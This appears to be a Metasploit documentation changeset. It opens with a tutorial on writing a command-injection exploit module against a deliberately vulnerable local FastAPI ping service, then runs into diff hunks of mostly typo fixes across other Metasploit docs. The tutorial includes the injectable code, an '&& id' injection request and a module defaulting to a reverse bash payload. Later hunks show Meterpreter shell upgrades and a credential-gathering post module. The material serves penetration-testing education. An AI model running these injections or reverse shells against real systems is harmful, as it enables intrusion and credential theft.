By the end of this guide you'll understand how to turn [Command injection](https://owasp.org/www-community/attacks/Command_Injection) into a shell - from here, you can move on to the [[command stager|How-to-use-command-stagers]] article and upgrade your basic `:unix_cmd` Target to a Dropper for all kinds of payloads with variable command stagers.
This guide assumes *some* knowledge of programming (Understand what a class is, what methods/functions are) but expects no in-depth knowledge of Metasploit internals.
## A Vulnerable Service
For the vulnerable service test case, we'll be using a simple FastAPI service. This is very easy to spin up:
1. Install `fastapi[all]` using your preferred Python package manager (a virtual environment is recommended)
2. Create a file to hold some Python code (I'll call it `main.py`)
3. Copy the following code into your file:
```python
from fastapi import FastAPI, Response
import subprocess
app = FastAPI()
@app.get("/ping")
def ping(ip : str):
res = subprocess.run(f"ping -c 1 {ip}", shell=True, capture_output=True)
return Response(content=res.stdout.decode("utf-8"), media_type="text/plain")
```
4. Start your vulnerable service with `uvicorn main:app`
5. Test that the application works with `curl`:
```sh
$ curl http://localhost:8000/ping?ip=1.1.1.1
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
64 bytes from 1.1.1.1: icmp_seq=1 ttl=58 time=16.7 ms
--- 1.1.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 16.739/16.739/16.739/0.000 ms
```
6. Test that your application is exploitable - also with `curl`:
```sh
$ curl localhost:8000/ping?ip=1.1.1.1%20%26%26id
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
64 bytes from 1.1.1.1: icmp_seq=1 ttl=58 time=16.6 ms
--- 1.1.1.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 16.614/16.614/16.614/0.000 ms
uid=1000(meta) gid=1000(meta)
```
With this output `uid=1000(meta) gid=1000(meta)`, we know that the `id` command successfully executed on the target system. Now that we have a vulnerable application we can write a module to pwn it.
## The Structure of a Module
To have a functioning command injection Metasploit module we **need** a few things:
1. Create a subclass of `Msf::Exploit::Remote`
2. Include the `Msf::Exploit::Remote::HttpClient` mixin
3. Define three methods:
- `initialize`, which defines metadata for the Module
- `execute_command`, which is what runs the command against the remote server
- `exploit`, wraps `execute_command`, and can handle some logic when we move to a cmdstager module
4. (Not required, but recommended) a method to substitute or escape bad characters, to be used inside `execute_command`. This could also just be done inside `execute_command` instead of a separate function call.
### Where to put a Module
Metasploit looks for custom modules at `$HOME/.msf4/modules`, but the way you get modules there varies based on how you're running Metasploit.
- If you have a full install of Metasploit on your host, you can just add your custom module to `$HOME/.msf4/modules/exploits/custom_mod.rb`.
- You can also just add a module to Metasploit's modules folder - This can be helpful when troubleshooting, but it's not recommended
- **Docker** If you're using the [Docker Image](https://github.com/rapid7/metasploit-framework/tree/master/docker), you can also add modules to `$HOME/.msf4/modules` and that folder will be mounted as a volume inside the Docker container
- You can also change the mount point by modifying the [docker-compose](https://github.com/rapid7/metasploit-framework/blob/master/docker-compose.yml) file
For testing, the easiest thing to do is the simplest. You can find Metasploit's **exploit** directory, copy a file, rename it, and go from there.
## A Shell of a Module
The shell of a module that follows the above format is something like this:
```ruby
class MetasploitModule < msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
# empty for now
end
def filter_bad_chars(cmd)
# empty for now
end
def execute_command(cmd, _opts = {})
# empty for now
end
def exploit
# empty for now
end
end
```
This covers every essential point from [The Structure of a Module](#the-structure-of-a-module), although it won't run yet.
## Initialize
The `initialize` method is used to define and pass metadata. Every `initialize` method in the metasploit-framework codebase follows the format of an empty `info` being passed into `update_info`, which gets passed to the `msf::Exploit::Remote` `initialize` method:
```ruby
def initialize(info = {})
super(
update_info(
info,
# Here is where the metadata goes
'Name' => 'Command Injection against a test Ping endpoint',
'Description' => 'This exploits a command injection vulnerability against a test application',
'License' => MSF_LICENSE,
'Author' => 'YOUR NAME',
'References' => [
['URL', 'https://metasploit.com/']
],
'DisclosureDate' => '2023-08-04',
'Platform' => 'linux', # used for determining compatibility - if you're doing code injection, this may be the language of the webapp
'Targets' => [
'Unix Command',
{
'Platform' => ['linux', 'unix'], # linux and unix have different cmd payloads, this gives you more options
'Arch' => ARCH_CMD,
'Type' => :unix_cmd, # Running a command - this would be `:linux_dropper` for a cmdstager dropper
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'RPORT' => 8000,
}
}
],
'Payload' => {
'BadChars' => '\x00',
}
'Notes' => { # Required for new modules https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
# Some more metadata options are here: https://docs.metasploit.com/docs/development/developing-modules/module-metadata/module-reference-identifiers.html#code-example-of-references-in-a-module
)
)
end
```
All that this method does is register metadata to the module.
## Filtering
It's important to ensure that payloads being sent are properly encoded. As an example, if you send a request to the `/ping` endpoint that looks like `/ping?ip=1.1.1.1&&id`, you won't see the "uid=1000(meta) gid=1000(meta)" in the response because `&` is a special character in HTTP.
Encoding requirements might change based on the application you're trying to inject, so experiment if things aren't working.
```ruby
def filter_bad_chars(cmd)
return cmd
.gsub(/&/, '%26')
.gsub(/ /, '%20')
end
```
`filter_bad_chars` takes in `cmd`, which is a string. `cmd` has two substitutions applied - the first will translate `&` to `%26`, the second translates a space to `%20`. The `.gsub` statements are a global substitution across the string, so the entire payload is impacted by the substitutions here (Similar to str.replace in Python). Regardless of whether or not the string is modified, it is returned.
## Execution
The `execute_command` method takes in `cmd` and `_opts` and executes the command on the target. In our case, executing a command is simply adding the command to a GET request and sending it to the `/ping` endpoint on our sample service.
```ruby
def execute_command(cmd, _opts = {})
send_request_cgi({
'method' => 'GET',
'uri' => '/ping',
'encode_params' => false,
'vars_get' => {
'ip' => "bing.com%20%26%26%20#{filter_bad_chars(cmd)}",
}
})
end
```
We don't even need to handle the output of `send_request_cgi` (Really, there should be no return until the shell exits, since the call to `subprocess.run` doesn't return until that shell dies).
## Exploitation
To finish up, all we need is to define the `exploit` method. This method is called by Metasploit when you use `run` within a msfconsole. All that we'll do here is print a little status message and run the exploit, but later you can modify this method to handle droppers as well:
```ruby
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_command(payload.encoded)
end
```
If you're running Metasploit and the vulnerable Python service on the same machine, you should be able to simply set the variables and fire:
```sh
set RHOST 127.0.0.1
set LHOST 127.0.0.1
run
```
## Conclusion
That's it. Put it all together and you have a very simple Command Injection exploit module that shows you the basics of how to throw a payload. Play around with different payloads, follow the [[How-to-use-command-stagers]] guide, add some logging to the Python web server, and watch executions over Wireshark. You'll learn a lot.
@@ -16,7 +16,7 @@ If listeners are externalized, then there is an API layer both for interactive i
### Integration of native tool-chains
Tools like Veil, pwnlib, etc. have for a long time used native compilers and tooling to build payloads and evasions. Metasploit has opted mostly for native Ruby solutions, though it does have some implicit runtime dependencies like `apktool` for Android payload injection. However, these tools are getting harder to maintain and use (e.g. metasm has a diffcult time building any non-trivial C code, we just spent a month fixing a bug it had with Ruby 2.5 and Windows). It would be nice to have either be able to depend on a set of first-class toolchains being available in the environment, or have some way to package them natively with Metasploit itself. A full suite of compilers and tools does consume considerable amounts of space (e.g. mettle's toolchain is 1.8GB uncompressed), but this is probably less of a problem than it was 15 years ago.
Tools like Veil, pwnlib, etc. have for a long time used native compilers and tooling to build payloads and evasions. Metasploit has opted mostly for native Ruby solutions, though it does have some implicit runtime dependencies like `apktool` for Android payload injection. However, these tools are getting harder to maintain and use (e.g. metasm has a difficult time building any non-trivial C code, we just spent a month fixing a bug it had with Ruby 2.5 and Windows). It would be nice to have either be able to depend on a set of first-class toolchains being available in the environment, or have some way to package them natively with Metasploit itself. A full suite of compilers and tools does consume considerable amounts of space (e.g. mettle's toolchain is 1.8GB uncompressed), but this is probably less of a problem than it was 15 years ago.
### Native first-class UUID-aware, async stager payload
@@ -26,7 +26,7 @@ Make a new async payload type (based on pingback payload work) making secure com
### Overhaul network targeting
Setting at least 5 variables RHOSTS/RPORT/SSL/VHOST/SSL_Version/User/Pass/etc... to target a single web application is very cumbersome. When these variables also do not apply to multiple RHOSTS exactly, the scheme of multiple variables falls apart futher. Metasploit should be able to target URLs directly, that can all have their own independent ports, users, hostnames, etc:
Setting at least 5 variables RHOSTS/RPORT/SSL/VHOST/SSL_Version/User/Pass/etc... to target a single web application is very cumbersome. When these variables also do not apply to multiple RHOSTS exactly, the scheme of multiple variables falls apart further. Metasploit should be able to target URLs directly, that can all have their own independent ports, users, hostnames, etc:
```
set TARGETS https://user:password@target_app:4343 https://target_app2
@@ -0,0 +1,62 @@
## Sessions Command
### Session Search
When you have a number of sessions open, searching can be a useful tool to navigate them. This guide explains what capabilities are available for navigating open sessions with search.
You can get a list of sessions matching a specific criteria within msfconsole:
```msf
msf6 payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_id:2"
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows WIN-ED9KFH65RDH\Zach Goldman @WIN-ED9KFH65RDH 192.168.2.1:4444 -> 192.168.2.132:52190 (192.168.2.132)
```
Currently, the only supported keywords for search are `session_id`, `session_type`, and `last_checkin`. These keywords can be combined to further filter your results, and used with other flags. For example:
```msf
msf6 payload(windows/meterpreter/reverse_http) > sessions --search "session_id:1 session_type:meterpreter last_checkin:greater_than:10s last_checkin:less_than:10d5h2m30s" -v
Active sessions
===============
Session ID: 1
Name:
Type: meterpreter windows
Info: WIN-ED9KFH65RDH\Zach Goldman @ WIN-ED9KFH65RDH
Tunnel: 192.168.2.1:4444 -> 192.168.2.132:52190 (192.168.2.132)
Via: exploit/multi/handler
Encrypted: Yes (AES-256-CBC)
UUID: 958f7b976db67d60/x86=1/windows=1/2023-10-19T12:38:05Z
CheckIn: 21725s ago @ 2023-10-19 09:26:08 -0500
Registered: No
```
Of note in the above example, `last_checkin` requires an extra argument. The second argument must be either `greater_than` or `less_than`. The third argument can be a sequence of alternating amounts and units of time (d: days, h: hours, m: minutes, and s: seconds), i.e. `5m2s`, `10d`, or `1d5m`.
### Killing stale sessions
If `--search` is used in conjunction with `--kill-all`, it will restrict the latter function to only the search results. For example:
```msf
msf6 payload(windows/meterpreter/reverse_http) > sessions -K -S "session_type:meterpreter"
[*] Killing matching sessions...
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows WIN-ED9KFH65RDH\Zach Goldman @ WIN-ED9KFH65RDH 192.168.2.1:4444 -> 192.168.2.132:52190 (192.168.2.132)
2 meterpreter x86/windows WIN-ED9KFH65RDH\Zach Goldman @ WIN-ED9KFH65RDH 192.168.2.1:4444 -> 192.168.2.132:52192 (192.168.2.132)
[*] 192.168.2.132 - Meterpreter session 1 closed.
[*] 192.168.2.132 - Meterpreter session 2 closed.
msf6 payload(windows/meterpreter/reverse_http) >
```
@@ -29,7 +29,7 @@ All of the above features can also be logically separated within workspaces. By
## Using msfdb
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`.
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`
```
Creating database at /Users/your_current_account_name/.msf4/db
Starting database at /Users/your_current_account_name/.msf4/db...success
@@ -39,9 +39,14 @@ Starting database at /Users/your_current_account_name/.msf4/db...success
Creating initial database schema
```
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information.
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information. If you start up msfconsole now it should automatically connect to the database, and if you run `db_status` you should see something like this:
msfdb then needs to establish the credentials that are used in the Web Service. The Web Service is how Metasploit connects to the database we have just created. The first prompt asks you what username you want to use to connect to the database.
```
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
```
You can also setup a Web Service, which Metasploit can use to connect to the database you have just created. Msfdb needs to establish the credentials that are used in the Web Service. If you run `msfdb --component webservice init` the first prompt asks you what username you want to use to connect to the database:
```
[?] Initial MSF web service account username? [your_current_account_name]:
@@ -73,7 +73,7 @@ This module has a selection of inbuilt queries which can be configured via the `
- `ENUM_ALL_OBJECT_CATEGORY` - Dump all objects containing any objectCategory field.
- `ENUM_ALL_OBJECT_CLASS` - Dump all objects containing any objectClass field.
- `ENUM_COMPUTERS` - Dump all objects containing an objectCategory or objectClass of Computer.
- `ENUM_CONSTRAINED_DELEGATION` - Dump info about all known objects that allow contrained delegation.
- `ENUM_CONSTRAINED_DELEGATION` - Dump info about all known objects that allow constrained delegation.
- `ENUM_DNS_RECORDS` - Dump info about DNS records the server knows about using the dnsNode object class.
- `ENUM_DNS_ZONES` - Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This isneeded - as without this BASEDN prefix we often miss certain entries.
- `ENUM_DOMAIN` - Dump info about the Active Directory domain.
@@ -89,7 +89,7 @@ This module has a selection of inbuilt queries which can be configured via the `
- `ENUM_MACHINE_ACCOUNT_QUOTA` - Dump the number of computer accounts a user is allowed to create in a domain.
- `ENUM_ORGROLES` - Dump info about all known organization roles in the LDAP environment.
- `ENUM_ORGUNITS` - Dump info about all known organizational units in the LDAP environment.
- `ENUM_UNCONSTRAINED_DELEGATION` - Dump info about all known objects that allow uncontrained delegation.
- `ENUM_UNCONSTRAINED_DELEGATION` - Dump info about all known objects that allow unconstrained delegation.
- `ENUM_USER_ACCOUNT_DISABLED` - Dump info about disabled user accounts.
- `ENUM_USER_ACCOUNT_LOCKED_OUT` - Dump info about locked out user accounts.
- `ENUM_USER_ASREP_ROASTABLE` - Dump info about all users who are configured not to require kerberos pre-authentication and are therefore AS-REP roastable.
@@ -23,7 +23,7 @@ Matching Modules
There are two ways to launch a Post module, both require an existing session.
Within a msf prompt you can use the `use` comand followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:
Within a msf prompt you can use the `use` command followed by the `run` command to execute the module against the required session. For instance to extract credentials from Chrome on the most recently opened Metasploit session:
```msf
msf6 > use post/windows/gather/enum_chrome
@@ -4,11 +4,11 @@ SMB (Server Message Blocks), is a way for sharing files across nodes on a networ
There are two main ports for SMB:
- 139/TCP - Initially Microsoft implemented SMB ontop of their existing NetBIOS network architecture, which allowed for Windows computers to communicate across the same network
- 139/TCP - Initially Microsoft implemented SMB on top of their existing NetBIOS network architecture, which allowed for Windows computers to communicate across the same network
- 445/TCP - Newer versions of SMB use this port, were NetBIOS is not used.
Other terminology to be aware of:
- SMB - Serer Message Blocks
- SMB - Server Message Blocks
- CIFS - Common Internet File System
- Samba - A free software re-implementation of SMB, which is frequently found on unix-like systems
@@ -24,7 +24,7 @@ Metasploit has support for multiple SMB modules, including:
There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
```msf
msf6 > search mysql
msf6 > search smb
```
### Lab Environment
@@ -20,3 +20,13 @@ run session=-1
run session=-1 win_transfer=POWERSHELL
run session=-1 win_transfer=VBS
```
If you want to upgrade your shell with fine control over what payload, use the `PAYLOAD_OVERRIDE`, `PLATFORM_OVERRIDE`, and on windows, `PSH_ARCH_OVERRIDE`. All 3 options are required to set an override on windows, and the first two options are required on other platforms, unless you are not using an override.
```
use multi/manage/shell_to_meterpreter
set SESSION 1
set PAYLOAD_OVERRIDE windows/meterpreter/reverse_tcp
set PLATFORM_OVERRIDE windows
set PSH_ARCH_OVERRIDE x64
```
@@ -10,7 +10,7 @@ Meterpreter even when running on the Windows platform.
crashes, the Meterpreter session will die. It is suggested that users invoke this functionality through a dedicated
session to avoid losing access altogether.
The loader and execution environment are provided by [trustedsec/COFFLoader][3]. The extension is therefor subject to
The loader and execution environment are provided by [trustedsec/COFFLoader][3]. The extension is therefore subject to
the same limitations.
The following functions are unavailable:
@@ -2,7 +2,7 @@ Of the many recent changes to Meterpreter, reliable network communication is one
In the case of HTTP/S transports, some resiliency features were present. Thanks to its stateless nature, HTTP/S transports would continue to attempt to talk to Metasploit after network outages or other unexpected problems as each command request/response is transmitted over a fresh connection. TCP based transports had nothing that would attempt to reconnect should some kind of network issue occur.
Revamped [[transport|./Meterpreter-Transport-Control.md]] implementations have provided support for resiliency even for TCP based communcations. Any session that isn't properly terminated by Metasploit will continue to function behind the scenes while Meterpreter attempts to re-establish communications with Metasploit.
Revamped [[transport|./Meterpreter-Transport-Control.md]] implementations have provided support for resiliency even for TCP based communications. Any session that isn't properly terminated by Metasploit will continue to function behind the scenes while Meterpreter attempts to re-establish communications with Metasploit.
It is also possible to control the behaviour of this functionality a little via the use of the various timeout values that can be specified when adding transports to the session, and also on the fly for the current transport. For full details, please see the [[timeout documentation|./Meterpreter-Timeout-Control.md]] for details on those timeout values.
@@ -27,7 +27,7 @@ Usage: sleep <time>
shut down and restarted after the designated timeout.
```
As shown, `sleep` expects to be given a single postive integer value that represents the number of seconds that Meterpreter should be silent for. When run, the session will close, and then callback after the elapsed period of time. Given that Meterpreter lives in memory, this lack of communication will make it extremely difficult to track.
As shown, `sleep` expects to be given a single positive integer value that represents the number of seconds that Meterpreter should be silent for. When run, the session will close, and then callback after the elapsed period of time. Given that Meterpreter lives in memory, this lack of communication will make it extremely difficult to track.
The following shows a sample run where Meterpreter is put to sleep for 20 seconds, after which the session reconnects while the handler is still in background:
@@ -95,7 +95,7 @@ With this shellcode stub wired into the DOS header, Metasploit adds the entire b
1. Loads the extension DLL into memory.
1. Calculates the size of the DLL.
1. Writes the size of the DLL as a 32-bit value to the configuration block.
1. Writes the entire body of the DLL, as-is, to the end of the conifiguration block.
1. Writes the entire body of the DLL, as-is, to the end of the configuration block.
Once the end of the list of extensions is reached, the last thing that is written to the payload buffer is a 32-bit representation of `0` (`NULL`) which indicates that the list of extensions has been terminated. This `NULL` value is what `metsrv` will look for when iterating through the list of extensions so that it knows when to stop. After this, any extension initialisation scripts are wired in (though that's beyond the scope of this article).
@@ -28,13 +28,13 @@ In the case of `HTTP/S` payloads it's slightly different because the protocols a
With `TCP` transports, communication "times out" when the time between the last packet and the current socket poll is greater than the communications timeout value. This happens when there are network related issues that prevent data from being transmitted between the two endpoints, but doesn't cause the socket to completely disconnect. With `HTTP/S` transports, the communication "times out" for the same reason, but the evaluation of the condition is slightly different in that failure can occur because there is either no response at all from the remote server, or the response to a `GET` request results in no acknowledgement.
By default, this value is set to `300` seconds (`5` minutes), but can be overidden by the user via the `SessionCommunicationTimeout` setting.
By default, this value is set to `300` seconds (`5` minutes), but can be overridden by the user via the `SessionCommunicationTimeout` setting.
If connectivity fails, or the communication is deemed to have timed out. Then the current transport is destroyed, and the next transport in the list of transports is invoked. From there, Meterpreter will use the Retry Total and Retry Wait values while attempting to re-establish a session with Metasploit.
#### Retry Total and Retry Wait
After a transport initialises inside Meterpreter, Meterpreter uses this transport to attempt to establish a new session with Metasploit. In some cases, Metasploit might not be availalble due to reasons like bad network connectivity, or a lack of configured listeners. If Meterpreter can't connect to Metasploit, it will attempt to retry for a period of time. Once that period of time expires, Meterpreter will deem this transport "dead" and will move to the next one in the transport list.
After a transport initialises inside Meterpreter, Meterpreter uses this transport to attempt to establish a new session with Metasploit. In some cases, Metasploit might not be available due to reasons like bad network connectivity, or a lack of configured listeners. If Meterpreter can't connect to Metasploit, it will attempt to retry for a period of time. Once that period of time expires, Meterpreter will deem this transport "dead" and will move to the next one in the transport list.
The total amount of time that Meterpreter will attempt to connect back to Metasploit on the given transport is indicated by the `retry total` value. That is, `retry total` is the total amount of time that Meterpreter will retry communication on the transport. The default value is `3600` seconds (`1` hour), and can be overridden via the `SessionRetryTotal` setting.
@@ -69,7 +69,7 @@ OPTIONS:
-h Help menu
-t <opt> Retry total time (seconds)
-w <opt> Retry wait time (seconds)
-x <opt> Expiration timout (seconds)
-x <opt> Expiration timeout (seconds)
```
As the help implies, each of these settings takes a value that indicates the number of seconds. Each of the options of this command are optional, so the user can update only those values that they are interested in updating. When the command is invoked, Meterpreter is updated, and the result shows the updated values once the changes have been made.
@@ -48,7 +48,7 @@ OPTIONS:
-T <opt> Retry total time (seconds) (default: same as current session)
-U <opt> Proxy username for HTTP/S transports (optional)
-W <opt> Retry wait time (seconds) (default: same as current session)
-X <opt> Expiration timout (seconds) (default: same as current session)
-X <opt> Expiration timeout (seconds) (default: same as current session)
-c <opt> SSL certificate path for https transport verification (optional)
-h Help menu
-i <opt> Specify transport by index (currently supported: remove)
@@ -63,7 +63,7 @@ Related open tickets (slightly broader than Meterpreter):
* PrependTokenSteal / PrependEnvironmentSteal: Basically with proxies and other perimeter defenses being SYSTEM doesn't work well. This would be an addition to a payload that would work to execute as SYSTEM but would then locate a logged in user and steal their environment to call back to the handler. Very useful when pivoting around with PSEXEC
* Binary installed death dates: A way putting a date in a binary where after that date the binary no longer functions would be useful and possibly even perform self-deletion. Time zones would be a tricky matter, but is something handled by many programmers already (probably just not in shellcode)
* Allow Meterpreter sesssions to resolve L3 addresses (#4793)
* Allow Meterpreter sessions to resolve L3 addresses (#4793)
* Track whether or not the current session has admin credentials (#4633)d
* Support Metasploit-side zlib compression of sessions
* Being able to use Meterpreter instances to easily forward commands & exfil
@@ -24,7 +24,9 @@ The latest OS X installer package can also be downloaded directly here: <https:/
## Installing Metasploit on Windows
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/). To install, simply download the .msi package, adjust your Antivirus as-needed to ignore c:\metasploit-framework, double-click and enjoy. The msfconsole command and all related tools will be added to the system %PATH% environment variable.
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/).
To install, download the `.msi` package, adjust your Antivirus as-needed to ignore `c:\metasploit-framework` and execute the installer by right-clicking the installer file and selecting "Run as Administrator".
The msfconsole command and all related tools will be added to the system `%PATH%` environment variable.
### Windows Anti-virus software flags the contents of these packages!
@@ -1,7 +1,7 @@
# Install oracle InstantClient
InstantClient 10 is recommneded to allow you to talk with 8,9,10,&11 server versions.
InstantClient 10 is recommended to allow you to talk with 8,9,10,&11 server versions.
Go to <https://www.oracle.com/database/technologies/instant-client/downloads.html> and select the link corresponding to your UNIX PC's architecture. Example for Linux x64, use the Instant Client for Linux x86-64 link, which should take you to <https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html>
@@ -95,7 +95,7 @@ IPv4 Active Routing Table
msf6 post(multi/manage/autoroute) >
```
All right so that's one way, but what if we wanted to do this manually? First off to flush all routes from the routing table, we will do `route flush` followed by `route` to double check we have successfully removed the entires.
All right so that's one way, but what if we wanted to do this manually? First off to flush all routes from the routing table, we will do `route flush` followed by `route` to double check we have successfully removed the entries.
```msf
msf6 post(multi/manage/autoroute) > route flush
@@ -72,13 +72,13 @@ meterpreter > python_execute "x = [y for y in range(0, 20) if y % 5 == 0]"
```
The command above executes, but nothing was printed to stdout, or to stderr, and hence nothing was captured.
The good thing is that the Python extension is persistant across calls. This means that after the above command is executed, `x` is still present in the interpreter and can be accessed with another call:
The good thing is that the Python extension is persistent across calls. This means that after the above command is executed, `x` is still present in the interpreter and can be accessed with another call:
```msf
meterpreter > python_execute "print x"
[+] Content written to stdout:
[0, 5, 10, 15]
```
As useful as this is, developers may want to produce post-modules that make use of the data that a Python script has generated. Parsing stdout is not ideal in such a scenario, and hence this command provides the means for individual variables to be extracted directly using the `-r` paramter, as described by the help:
As useful as this is, developers may want to produce post-modules that make use of the data that a Python script has generated. Parsing stdout is not ideal in such a scenario, and hence this command provides the means for individual variables to be extracted directly using the `-r` parameter, as described by the help:
```msf
meterpreter > python_execute "x = [y for y in range(0, 20) if y % 5 == 0]" -r x
[+] x = [0, 5, 10, 15]
@@ -4,7 +4,7 @@ Recent changes to HTTP and HTTPS communications in both Meterpreter and its stag
The Windows API comes with two ways to talk via HTTP/S, they are [WinInet][] and [WinHTTP][]. The APIs are consumed in a similar fashion; many of the functions in each have the same interface, or are at least close enough to make a transition between the two rather trivial. However, there are some underlying differences that are important.
The [WinInet][] API was designed for use in desktop applications. It provides all the features required by applications to use HTTP/S while delegating much of the responsibilty of handling implementation detail to the underlying API and OS. This API can result in some user interface elements appearing if not handled correctly.
The [WinInet][] API was designed for use in desktop applications. It provides all the features required by applications to use HTTP/S while delegating much of the responsibility of handling implementation detail to the underlying API and OS. This API can result in some user interface elements appearing if not handled correctly.
[WinInet][] comes with some limitations, one of which is that it's close to impossible to do any kind of custom validation, parsing, or handling of SSL communications. One of the needs of Metasploit users is to be able to enable a [[Paranoid Mode|./meterpreter-paranoid-mode.md]] that forces Meterpreter to only talk with the appropriate endpoint. The goal is to prevent shells from being hijacked by unauthorised users. In order to do this, one of the things that was implemented was the verification of the SHA1 hash of the SSL certificate that Meterpreter reads from the server. If this hash doesn't match the one that Meterpreter is configured with, Meterpreter will shut down. [WinInet][] doesn't make this process possible without a _lot_ of custom work.
@@ -22,7 +22,7 @@ As indicated in a [blog post on MSDN][msdn_winhttp]:
What this means is that from Windows 7 and onwards, the underlying [WinHTTP][] implementation requires proper HTTP/1.1 support from any proxies that are used. If a proxy uses HTTP/1.0, such as Squid 2.7, and requires `Keep-Alive` support, such as NTLM authentication, then [WinHTTP][] will refuse to talk to it. Instead of downgrading, it will expect a purely RFC-compliant implementation, and instead will return a `407` error the client. This means that for Meterpreter to work, [WinHTTP][] can't be used.
In order to avoid this issue, [extra work][wininet_fallback] has beeen done to force Meterpreter to fall back to [WinInet][] when this happens. Given that [WinInet][] doesn't do certificate hash verification, this means that the user of Meterpreter loses the ability to use paranoid mode. It was decided that Meterpreter would not fallback to [WinInet][] if paranoid mode was enabled, as the intention of the user is clearly to avoid MITM.
In order to avoid this issue, [extra work][wininet_fallback] has been done to force Meterpreter to fall back to [WinInet][] when this happens. Given that [WinInet][] doesn't do certificate hash verification, this means that the user of Meterpreter loses the ability to use paranoid mode. It was decided that Meterpreter would not fallback to [WinInet][] if paranoid mode was enabled, as the intention of the user is clearly to avoid MITM.
To sum up, Meterpreter will use [WinHTTP][] where it can. If it can't, it'll fall back to [WinInet][] _unless_ paranoid mode is enabled.
@@ -27,7 +27,7 @@ If someone has library changes that cannot be merged to master, we cannot hang o
## Rescuing unstable modules
If you'd like to rescue an unstable module, great! Just note that it's an unstable rescue in the pull request, and the original PR number (if you can find it), when you pull it back out. You can do a similiar `git checkout` to grab the file and then `git mv` it to the right spot again.
If you'd like to rescue an unstable module, great! Just note that it's an unstable rescue in the pull request, and the original PR number (if you can find it), when you pull it back out. You can do a similar `git checkout` to grab the file and then `git mv` it to the right spot again.
## Safety
@@ -1,8 +1,259 @@
## Getting started
Depending on your skill level - if you have no experience with Metasploit, the following resources may be a better starting point:
Assuming you have installed Metasploit, either with the official Rapid7 nightly installers or through Kali, you can use the `msfconsole` command to open Metasploit:
* <http://www.offensive-security.com/metasploit-unleashed/Main_Page>
* <https://metasploit.help.rapid7.com/docs/>
* <https://www.kali.org/docs/tools/starting-metasploit-framework-in-kali/>
* <https://github.com/rapid7/metasploitable3>
```msf
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v6.3.35-dev-0fc88a8050 ]
+ -- --=[ 2357 exploits - 1227 auxiliary - 413 post ]
+ -- --=[ 1387 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
```
### Finding modules
Metasploit is based around the concept of [[modules]]. The most commonly used module types are:
- Auxiliary - Auxiliary modules do not exploit a target, but can perform data gathering or administrative tasks
- Exploit - Exploit modules leverage vulnerabilities in a manner that allows the framework to execute arbitrary code on the target host
- Payloads - Arbitrary code that can be executed on a remote target to perform a task, such as creating users, opening shells, etc
- Post - Post modules are used after a machine has been compromised. They perform useful tasks such as gathering, collecting, or enumerating data from a session.
You can use the `search` command to search for modules:
```msf
msf6 > search type:auxiliary http html title tag
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/title normal No HTTP HTML Title Tag Content Grabber
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/title
msf6 >
```
You can `use` a Metasploit module by specifying the full module name. The prompt will be updated to indicate the currently
active module:
```msf
msf6 > use auxiliary/scanner/http/title
msf6 auxiliary(scanner/http/title) >
```
### Running Auxiliary modules
Auxiliary modules do not exploit a target, but can perform data gathering or administrative tasks. For instance, a module
extracting the HTTP title from a server:
```msf
msf6 > use auxiliary/scanner/http/title
msf6 auxiliary(scanner/http/title) >
```
Each module offers configurable options which can be viewed with the `show options`, or aliased `options`, command:
```msf
msf6 auxiliary(scanner/http/title) > show options
Module options (auxiliary/scanner/http/title):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SHOW_TITLES true yes Show the titles on the console as they are grabbed
SSL false no Negotiate SSL/TLS for outgoing connections
STORE_NOTES true yes Store the captured information in notes. Use "notes -t http.title" to view
TARGETURI / yes The base path
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/http/title) >
```
To set a module option, use the `set command`. We will set the `RHOST` option - which represents the target host(s) that
the module will run against:
```msf
msf6 auxiliary(scanner/http/title) > set RHOSTS google.com
RHOSTS => google.com
```
The `run` command will run the module against the target, showing the target's HTTP title:
```msf
msf6 auxiliary(scanner/http/title) > run
